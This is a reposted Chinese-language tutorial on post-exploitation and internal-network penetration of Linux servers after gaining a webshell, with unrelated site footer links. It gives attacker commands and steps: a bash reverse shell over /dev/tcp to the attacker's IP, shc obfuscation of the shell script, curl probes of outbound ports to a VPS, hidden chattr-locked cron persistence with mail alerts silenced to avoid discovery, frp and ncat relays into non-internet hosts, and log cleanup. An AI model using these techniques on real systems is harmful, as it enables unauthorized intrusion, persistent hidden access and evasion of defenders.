0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

一文解析后滲透及內(nèi)網(wǎng)初體驗(yàn)

馬哥Linux運(yùn)維 ? 來源:先知社區(qū) ? 作者:kilomite ? 2022-08-20 14:46 ? 次閱讀

繞php的disable_functions 此處建議用AntSword的官方繞過插件全自動(dòng)繞

d30c369e-1fc4-11ed-ba43-dac502259ad0.png

繞過失敗的可以手動(dòng)試一下

另外,可以看一下web程序存的數(shù)據(jù)庫的用戶名和密碼,然后看一下數(shù)據(jù)庫能不能利用,比如寫文件或者寫日志,以及各種提權(quán),如果繞過disable_functions失敗,數(shù)據(jù)庫也不能利用的可以看一下目標(biāo)服務(wù)器上都有什么文件,比如其他站點(diǎn)或者其他可以利用的東西,如果限制了訪問目錄那就只能留著以后再看了

d340c95e-1fc4-11ed-ba43-dac502259ad0.png


隱藏ip

隱藏攻擊ip還是很重要的,不然容易被溯源,可以上cdn或者用云函數(shù)等 但是此處也是有大坑的,能訪問國外服務(wù)器的目標(biāo)機(jī)器就好辦了,直接上就行,但是不能訪問國外服務(wù)器的目標(biāo)機(jī)器,首先用Cloudflare比較卡,其次用國內(nèi)的云服務(wù)商的則需要實(shí)名,而且費(fèi)用也不低,所以實(shí)在沒辦法就別隱藏ip了,此處我也沒有隱藏ip

加密bash反彈shell

正常的bash反彈shell: 目標(biāo)機(jī)器反彈shell:


bash -i >& /dev/tcp/攻擊機(jī)的ip/攻擊機(jī)接收shell的端口 0>&1

攻擊機(jī)接收反彈來的shell:

nc -lvvp 攻擊機(jī)接收shell的端口

//netcat版本低時(shí)l和p參數(shù)不兼容,可以nc -lvv port監(jiān)聽端口

這個(gè)repository加密一下bash腳本,加密后會(huì)生成一個(gè)c源代碼文件和編譯之后的二進(jìn)制文件,把編譯之后的二進(jìn)制文件傳到目標(biāo)機(jī)器上執(zhí)行就行了,可以彌補(bǔ)一下目標(biāo)機(jī)器在國內(nèi)時(shí)不便于隱藏攻擊ip的缺陷

本地執(zhí)行:

./shc -Uvrf reverse.sh -o reverse

把生成的reveser傳到目標(biāo)機(jī)器上,執(zhí)行:

./reverse

webshell提供的shell環(huán)境限制很多,所以最好先反彈shell,盡量不要正向連接shell,開個(gè)端口動(dòng)靜太大

首先是不能彈shell的情況,比如相關(guān)的bash,nc等命令都被限制了,那先嘗試提權(quán)

能彈shell但是接收不到的時(shí)候,可以看一下目標(biāo)是不是限制出網(wǎng)或者限制出站端口

如果限制出網(wǎng)那就先嘗試提權(quán),如果限制出站端口可以批量試一下常見的端口,在自己的vps上,通過nginx監(jiān)聽多個(gè)端口來快速啟動(dòng)多個(gè)端口,然后再在目標(biāo)機(jī)器上上傳個(gè)sh腳本,批量curl自己vps的指定端口,最后看一下結(jié)果就可以了,nmap ---top-ports 100或1000可以掃描nmap整理的100或1000個(gè)最常用的端口,可以參考一下

測試出網(wǎng)端口的具體步驟:

1.在正常的nginx配置文件中找到listen port,在后面復(fù)制一行,把port改成自己想開放的端口,重啟nginx

2.寫一個(gè)sh腳本,內(nèi)容就是每行都curl想測試的端口:curl vps:port

3.傳到目標(biāo)機(jī)器上,運(yùn)行并且重定向到文件里:./shfile > result.txt

4.查看result.txt中的結(jié)果,就可以看到哪些端口能出網(wǎng),nmap ---top-ports 100和nmap ---top-ports 1000可以查看nmap整理的100和1000個(gè)最常用的端口,可以參考一下

成功收到shell的時(shí)候,依舊是個(gè)很難用的shell,可以再升級(jí)成完全的shell再用,升級(jí)之后和真實(shí)shell一樣,非常舒服

# 攻擊機(jī)本地執(zhí)行# 首先檢查當(dāng)前終端和STTY信息$ echo $TERM$ stty -a# 查看輸出的rows和columns,后面配置用



此處的這些操作是重復(fù)性的,和具體設(shè)備無關(guān),所以用xshell的可以寫個(gè)xshell的腳本或者錄制個(gè)xshell的腳本,不過我這邊錄制的時(shí)候生成的腳本內(nèi)容總是為空,應(yīng)該是個(gè)bug,也沒時(shí)間研究寫xshell的腳本了,所以直接用按鍵精靈寫了個(gè)



畢竟按鍵精靈只是模仿輸入,不能獲取到結(jié)果,所以每一步都是只輸入,不回車,需要自己回車,而且每一次輸入之后會(huì)多監(jiān)聽一次任意按鍵事件,以防想暫停

如果想把這個(gè)shell關(guān)了,或者這個(gè)shell接收到了內(nèi)網(wǎng)的其他shell,然后想把接收到的其他shell關(guān)了,需要輸入兩次exit退出,然后可能shell的格式是亂的,這時(shí)候reset一下就好了

在攻擊機(jī)上肯定不可能直接就接收shell,如果本地和攻擊機(jī)的shell連接斷了,那么攻擊機(jī)和目標(biāo)機(jī)器的shell也就斷了,或者想把攻擊機(jī)接收到的shell掛在后臺(tái),也不能直接接收shell,此處我推薦使用screen,類似于windows下的多窗口,接收shell的時(shí)候新開一個(gè)screen掛在后臺(tái),不用的時(shí)候就在后臺(tái)掛著,用的時(shí)候切過去用就可以了

screen的簡單使用教程:

1.screen -S 這個(gè)screen會(huì)話的名字創(chuàng)建一個(gè)screen

2.在screen的會(huì)話中時(shí),快捷鍵ctrl+a,ctrl+d把當(dāng)前screen放在后臺(tái)

3.screen -r screen會(huì)話的名字恢復(fù)一個(gè)screen

4.在screen的會(huì)話中exit可以退出screen

5.一些小技巧:

1.`screen -list`查看所有的screen會(huì)話

2.`screen -list`會(huì)顯示相應(yīng)對(duì)話的pid,通過`kill -9 pid`也可以關(guān)閉相應(yīng)的screen會(huì)話

3.`screen -d screen會(huì)話的名字`可以將一個(gè)正在活動(dòng)的screen放到后臺(tái)

4.如果在screen中嵌套了screen,那么快捷鍵ctrl+a,ctrl+a,ctrl+d可以把第二層screen放在第一層的后臺(tái),快捷鍵ctrl+a,ctrl+d是不論嵌套幾層screen都會(huì)把最外層的screen放在后臺(tái)的

低權(quán)限提權(quán)

首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Database上找一下,同時(shí)看看打沒打補(bǔ)丁,如果目標(biāo)機(jī)器不能編譯的話可以在自己的機(jī)器上編譯好了傳過去 此處也發(fā)現(xiàn)了幾個(gè)提權(quán)工具,不過我試了一下不是很好用,都是靠版本來判斷的,和手動(dòng)搞一樣

權(quán)限維持

切記要做持久化,不然辛辛苦苦拿的shell可能就要重新拿或者沒了,方法很多,可以google搜一下,與時(shí)俱進(jìn),用最新的東西,下面是一種我常用的權(quán)限維持的方式:

cron計(jì)劃任務(wù)權(quán)限維持比較簡單,當(dāng)然也比較明顯:

建議用前面說的shc加密,上傳生成的二進(jìn)制文件,用這個(gè)二進(jìn)制文件彈shell,安全性高一點(diǎn)

上傳之后:

1.先chmod +x 二進(jìn)制文件給一下權(quán)限

2.然后在名字前面加個(gè).變?yōu)殡[藏文件(ls -a可以查看隱藏文件)

3.再嘗試一下chattr +i 二進(jìn)制文件(chattr -i 二進(jìn)制文件可以解除鎖定)防止刪除,有相應(yīng)的權(quán)限才能成功執(zhí)行這條命令

4.最后把這個(gè)文件放在安全又隱秘的位置,

配置cron計(jì)劃任務(wù)時(shí),如果是root用戶,那就在/etc/crontab里添加,如果不是root用戶,那就用crontab -e添加,注意crontab -e需要交互式shell,理論上來說非root用戶的cron存在/var/spool/crond下(CentOS),可以直接編輯相應(yīng)的文件,但是非root用戶通常沒有權(quán)限直接編輯,所以還是需要獲取交互式shell然后crontab -e添加

root用戶在/etc/crontab里添加的計(jì)劃任務(wù),通過crontab -l或crontab -e是看不到的

/etc/crontab里應(yīng)該有默認(rèn)的配置和默認(rèn)的例子,crontab -e沒有,不管是怎么寫cron,都建議使用以下配置:

在寫cron之前先執(zhí)行$PATH查看環(huán)境變量并復(fù)制,然后再寫cron

首先第一行配置為SHELL=+相應(yīng)的shell位置,第二行配置為PATH=+默認(rèn)的(如果有的話)加上前面的$PATH,第三行配置為MAILTO="",第三行的意義是計(jì)劃任務(wù)的執(zhí)行結(jié)果不給用戶發(fā)郵件,因?yàn)橛?jì)劃任務(wù)反彈shell是不停的反彈,但是攻擊機(jī)如果之前接收到的shell還沒關(guān)端口被占用著彈shell就失敗了就會(huì)報(bào)錯(cuò)然后發(fā)郵件,發(fā)了郵件的話每次執(zhí)行命令都會(huì)提示,很容易就被發(fā)現(xiàn)了

最后配置計(jì)劃任務(wù):

root用戶配置為* * * * * root /要執(zhí)行的命令或文件

非root用戶配置為* * * * * /要執(zhí)行的命令或文件

如果要修改執(zhí)行的間隔可以研究一下cron的語法,上面的是每分鐘彈一次shell

內(nèi)網(wǎng)

信息收集

激動(dòng)人心的時(shí)刻來了,打內(nèi)網(wǎng) 因?yàn)槲夷玫降膕hell都是linux下的,沒有類似windows上的域控等等,所以此處就掃掃端口,此處可以用nmap,也可以用fscan,強(qiáng)烈推薦fscan,用一次就上癮,很好用

搭建代理

有些內(nèi)網(wǎng)ip的端口上跑的比如網(wǎng)站等等在命令行不太好滲透,而且有些內(nèi)網(wǎng)ip是不出網(wǎng)的,只能通過我們打下來的這個(gè)邊界服務(wù)器來訪問,所以建個(gè)代理還是很有必要的

此處我推薦用frp,然后依舊遵循動(dòng)靜小點(diǎn)的原則,不在目標(biāo)機(jī)器上開端口,在自己的vps上架設(shè)frp的服務(wù)端,在目標(biāo)機(jī)器上架設(shè)frp的客戶端,然后在客戶端啟用socks5代理插件,這會(huì)在服務(wù)端上開一個(gè)你指定的端口用來做socks5代理,可以配置用戶名和密碼,還可以遠(yuǎn)程連接,同時(shí)可以搭配其他軟件做ip的黑白名單,非常好用,本地配置代理Windows建議用Proxifier,Linux建議用proxychains-ng(proxychains4)

另外也可以用Neo-reGeorg,直接上傳個(gè)php/jsp等文件就可以建socks5代理,也很好用,對(duì)比frp一個(gè)優(yōu)點(diǎn)是只傳文件不用執(zhí)行命令就可以建代理,另一個(gè)優(yōu)點(diǎn)是不用在目標(biāo)機(jī)器上額外在后臺(tái)掛一個(gè)程序

內(nèi)網(wǎng)滲透

其實(shí)和前面的web滲透一樣,只不過有些應(yīng)用在內(nèi)網(wǎng)比較常見,所以需要去了解一下,搜一下有什么漏洞

fscan本身會(huì)檢測漏洞,比如各種未授權(quán)訪問,也會(huì)爆破一些端口的服務(wù),比如mysql,ssh或者Tomcat的Manager App的弱口令等

一個(gè)C段可以見識(shí)不少東西,打了一遍下來竟然天亮了...一天一夜過去了

具體就不細(xì)說了,遇見哪個(gè)搜哪個(gè),這個(gè)C段遇到的web程序基本都是java系的,還有一些python系的

內(nèi)網(wǎng)不出網(wǎng)反彈shell

目標(biāo)機(jī)器如果不出網(wǎng)可以反彈到已經(jīng)打下來的內(nèi)網(wǎng)機(jī)器上,也可以再把反彈的端口轉(zhuǎn)發(fā)到vps上,實(shí)現(xiàn)通過轉(zhuǎn)發(fā)出網(wǎng)

通過ncat轉(zhuǎn)發(fā)出網(wǎng):

中轉(zhuǎn)的機(jī)器執(zhí)行:


ncat -l 中轉(zhuǎn)機(jī)器接收內(nèi)網(wǎng)反彈來的shell的端口 -c 'ncat 攻擊機(jī)的ip 攻擊機(jī)的端口'

這樣攻擊機(jī)就可以接收到不出網(wǎng)的設(shè)備彈的shell,唯一的缺點(diǎn)就是中轉(zhuǎn)的機(jī)器要占用個(gè)端口 中不中轉(zhuǎn)對(duì)于不出網(wǎng)的設(shè)備的權(quán)限維持都是一樣的,主要的區(qū)別就是在vps上連不出網(wǎng)的設(shè)備方便點(diǎn)

痕跡清理

主要是命令的歷史記錄和日志文件,不過基本清不干凈,而且有些地方記錄了也清不到,隱藏攻擊ip比較萬能

下面是一個(gè)簡單粗暴的清理方式,如無必要不建議使用:





審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • Web
    Web
    +關(guān)注

    關(guān)注

    2

    文章

    1253

    瀏覽量

    69057
  • 服務(wù)器
    +關(guān)注

    關(guān)注

    12

    文章

    8701

    瀏覽量

    84554
  • 數(shù)據(jù)庫
    +關(guān)注

    關(guān)注

    7

    文章

    3712

    瀏覽量

    64025
  • Shell
    +關(guān)注

    關(guān)注

    1

    文章

    359

    瀏覽量

    23192

原文標(biāo)題:干貨|后滲透及內(nèi)網(wǎng)初體驗(yàn)的總結(jié)

文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    遠(yuǎn)程桌面內(nèi)網(wǎng)穿透是什么?有什么作用?

    遠(yuǎn)程桌面內(nèi)網(wǎng)穿透指的是通過特定技術(shù)手段,將處于內(nèi)網(wǎng)中的電腦或服務(wù)器,通過外部網(wǎng)絡(luò)(互聯(lián)網(wǎng))進(jìn)行訪問。內(nèi)網(wǎng)穿透的主要作用是解決在內(nèi)網(wǎng)環(huán)境下,遠(yuǎn)程設(shè)備與外部互聯(lián)網(wǎng)之間的連接問題,允許用戶從
    的頭像 發(fā)表于 09-13 08:10 ?121次閱讀
    遠(yuǎn)程桌面<b class='flag-5'>內(nèi)網(wǎng)</b>穿透是什么?有什么作用?

    這個(gè)組網(wǎng)、內(nèi)網(wǎng)穿透工具遠(yuǎn)程連接是真的牛!

    首先,我們來探討個(gè) 常見的疑問 :為什么遠(yuǎn)程無法直接訪問你電腦或NAS上運(yùn)行的網(wǎng)站和服務(wù)? 原因在于 ,多數(shù)情況下,這些設(shè)備都被安置在內(nèi)網(wǎng)之中,缺乏個(gè)可供外界直接訪問的獨(dú)立公網(wǎng)IP地址,為了打破
    的頭像 發(fā)表于 08-19 16:08 ?161次閱讀
    這個(gè)組網(wǎng)、<b class='flag-5'>內(nèi)網(wǎng)</b>穿透工具遠(yuǎn)程連接是真的牛!

    teamviewer內(nèi)網(wǎng)遠(yuǎn)程控制外網(wǎng)

    在企業(yè)內(nèi)網(wǎng)環(huán)境中,安全性、穩(wěn)定性和性能是企業(yè)用戶關(guān)注的重點(diǎn)。然而,許多遠(yuǎn)程控制軟件在內(nèi)網(wǎng)應(yīng)用中存在限制,無法滿足企業(yè)的特殊需求。比如知名的遠(yuǎn)程控制軟件 TeamViewer,其功能強(qiáng)大,但并未提供
    的頭像 發(fā)表于 08-16 20:46 ?1270次閱讀

    企業(yè)使用內(nèi)網(wǎng)安全管理軟件的好處

    隨著信息化時(shí)代的到來,企業(yè)數(shù)據(jù)安全問題也開始受到重視。其中,防止數(shù)據(jù)泄露直是企業(yè)安全管理中重要的環(huán)。企業(yè)使用內(nèi)網(wǎng)安全管理軟件可以幫助實(shí)現(xiàn)以下幾點(diǎn): 確保內(nèi)部網(wǎng)絡(luò)安全:內(nèi)網(wǎng)安全管理軟
    的頭像 發(fā)表于 05-22 13:27 ?216次閱讀

    讀懂 | 新能源汽車車載電源深度解析

    車載電源是新能源汽車的核心零部件之。本文從車載電源的作用、構(gòu)成、技術(shù)趨勢、市場空間及產(chǎn)業(yè)鏈,對(duì)其進(jìn)行全方位解析。我們看好快充車滲透率提升帶來的車載電源升級(jí)需求。核心觀點(diǎn)車載電源:電動(dòng)車能量轉(zhuǎn)換
    的頭像 發(fā)表于 05-16 17:15 ?1307次閱讀
    <b class='flag-5'>一</b><b class='flag-5'>文</b>讀懂 | 新能源汽車車載電源深度<b class='flag-5'>解析</b>

    STM32H5 DA 之初體驗(yàn)(帶 TrustZone)

    電子發(fā)燒友網(wǎng)站提供《STM32H5 DA 之初體驗(yàn)(帶 TrustZone).pdf》資料免費(fèi)下載
    發(fā)表于 02-19 14:19 ?0次下載
    STM32H5 DA 之<b class='flag-5'>初體驗(yàn)</b>(帶 TrustZone)

    使用cpolar內(nèi)網(wǎng)穿透本地MariaDB數(shù)據(jù)庫

    本篇教程將使用cpolar內(nèi)網(wǎng)穿透本地MariaDB數(shù)據(jù)庫,并實(shí)現(xiàn)在外公網(wǎng)環(huán)境下使用navicat圖形化工具遠(yuǎn)程連接本地內(nèi)網(wǎng)的MariaDB數(shù)據(jù)庫。
    的頭像 發(fā)表于 01-22 10:28 ?470次閱讀
    使用cpolar<b class='flag-5'>內(nèi)網(wǎng)</b>穿透本地MariaDB數(shù)據(jù)庫

    STM32H5 DA初體驗(yàn)

    本文是接著之前文檔《STM32H5 DA 之初體驗(yàn)(帶 TrustZone)》的后續(xù)之作。
    的頭像 發(fā)表于 01-17 13:39 ?945次閱讀
    STM32H5 DA<b class='flag-5'>初體驗(yàn)</b>

    介紹款基于java的滲透測試神器-CobaltStrike

    Cobalt Strike是款基于java的滲透測試神器,常被業(yè)界人稱為CS神器。
    的頭像 發(fā)表于 01-16 09:16 ?664次閱讀
    介紹<b class='flag-5'>一</b>款基于java的<b class='flag-5'>滲透</b>測試神器-CobaltStrike

    內(nèi)網(wǎng)穿透工具FRP的快速入門

    在計(jì)算機(jī)網(wǎng)絡(luò)中,內(nèi)網(wǎng)穿透是種通過公網(wǎng)建立安全通道,使得位于內(nèi)網(wǎng)的計(jì)算機(jī)和服務(wù)可以被外部網(wǎng)絡(luò)訪問。對(duì)程序員而言,內(nèi)網(wǎng)穿透可以幫助你干什么呢?
    的頭像 發(fā)表于 01-02 11:47 ?539次閱讀

    神器!實(shí)現(xiàn)內(nèi)網(wǎng)穿透的幾款工具

    frp 是個(gè)專注于內(nèi)網(wǎng)穿透的高性能的反向代理應(yīng)用,支持 TCP、UDP、HTTP、HTTPS 等多種協(xié)議。可以將內(nèi)網(wǎng)服務(wù)以安全、便捷的方式通過具有公網(wǎng) IP 節(jié)點(diǎn)的中轉(zhuǎn)暴露到公網(wǎng)。
    的頭像 發(fā)表于 11-25 10:22 ?2486次閱讀
    神器!實(shí)現(xiàn)<b class='flag-5'>內(nèi)網(wǎng)</b>穿透的幾款工具

    內(nèi)網(wǎng)穿透frp原理簡述

    FRP的優(yōu)點(diǎn): 它可以隱藏內(nèi)網(wǎng)中的服務(wù)器, 避免因直接暴露內(nèi)網(wǎng)服務(wù)器導(dǎo)致的安全問題。此外, FRP還支持動(dòng)態(tài)端口映射, 可以方便地實(shí)現(xiàn)內(nèi)網(wǎng)的服務(wù)器負(fù)載均衡
    的頭像 發(fā)表于 11-13 14:38 ?4219次閱讀
    <b class='flag-5'>內(nèi)網(wǎng)</b>穿透frp原理簡述

    CMake構(gòu)建的項(xiàng)目結(jié)構(gòu)解析

    、 CMake構(gòu)建的項(xiàng)目結(jié)構(gòu)解析(Analysis of the Project Structure After CMake Build) 1.1 CMake構(gòu)建的目錄結(jié)構(gòu)(Di
    的頭像 發(fā)表于 11-10 10:27 ?1450次閱讀
    CMake構(gòu)建<b class='flag-5'>后</b>的項(xiàng)目結(jié)構(gòu)<b class='flag-5'>解析</b>

    百度言開通會(huì)員可解鎖心大模型4.0

    百度言開通會(huì)員可解鎖心大模型4.0 今天百度上線言會(huì)員模式,把
    的頭像 發(fā)表于 11-01 15:58 ?1158次閱讀

    內(nèi)網(wǎng)穿透可以帶給物聯(lián)網(wǎng)什么呢?

    內(nèi)網(wǎng)穿透可以帶給物聯(lián)網(wǎng)什么呢?
    的頭像 發(fā)表于 10-14 15:14 ?669次閱讀